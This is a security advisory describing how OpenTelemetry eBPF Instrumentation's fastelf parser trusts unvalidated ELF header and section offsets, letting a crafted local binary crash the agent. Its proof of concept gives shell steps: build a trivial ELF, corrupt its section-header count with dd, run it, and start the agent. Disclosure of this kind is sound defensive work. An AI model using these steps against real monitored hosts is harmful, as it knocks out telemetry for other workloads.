OpenTelemetry eBPF Instrumentation: Unsafe fastelf parsing allows malformed ELF to crash agent

Summary

OBI's replacement ELF parser trusts section offsets, counts, and string offsets from the executable file. A crafted local ELF can make OBI dereference invalid section pointers or slice past string tables, causing the agent to panic while determining the process language.

Details

matchExeSymbols iterates over sections and uses offsets/symbol names from the unvalidated fastelf context; nil section pointers or out-of-range offsets can trigger panics during dereference/slicing.

https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/exec/proclang_linux.go#L133-L165

GetCStringUnsafe and ReadStruct perform unsafe slicing and pointer conversion without guarding against out-of-range or negative offsets derived from ELF data, enabling panics on malformed input.

https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L201-L213

NewElfContextFromData trusts Shoff/Shnum/Phnum from the ELF header, converting them to int and populating sections/segments without validating offsets or ensuring ReadStruct returned non-nil.

https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/cec36c1b872beba9d17956bfde75dee3249a1516/pkg/internal/fastelf/fastelf.go#L271-L296

Malformed ELF metadata can therefore crash OBI during normal process discovery.

PoC

Local testing confirms the parser panic path on the vulnerable release, but one caveat is worth noting: rerunning a previously captured malformed-ELF PoC directly against the current checkout did not reproduce the original crash. That means the parser has drifted since the vulnerable release, so reproduction should be performed against the affected release tag or commit range rather than assuming current HEAD still panics in exactly the same way.

Use a vulnerable build:

git checkout v0.0.0-rc.1+build
make build

Create a small valid ELF and then corrupt its section-header metadata:

cat >/tmp/hello.c <<'EOF'
int main(void) { return 0; }
EOF
cc -o /tmp/hello /tmp/hello.c
cp /tmp/hello /tmp/hello-bad
printf '\xff\xff' | dd of=/tmp/hello-bad bs=1 seek=$((0x3c)) conv=notrunc

Run the malformed executable so OBI inspects it during process discovery:

chmod +x /tmp/hello-bad
/tmp/hello-bad &

Start OBI or trigger a rescan of processes:

sudo ./bin/obi

On a vulnerable build, OBI can panic while parsing the malformed ELF. If the first corruption does not hit the exact fragile path on your architecture, alter section-name or symbol-table offsets instead; the root issue is the lack of defensive validation before GetCStringUnsafe and related section lookups.

Impact

This is a local denial of service against the telemetry agent. Any local tenant or process owner able to execute a malformed binary on a monitored host can crash OBI and interrupt observability for other workloads.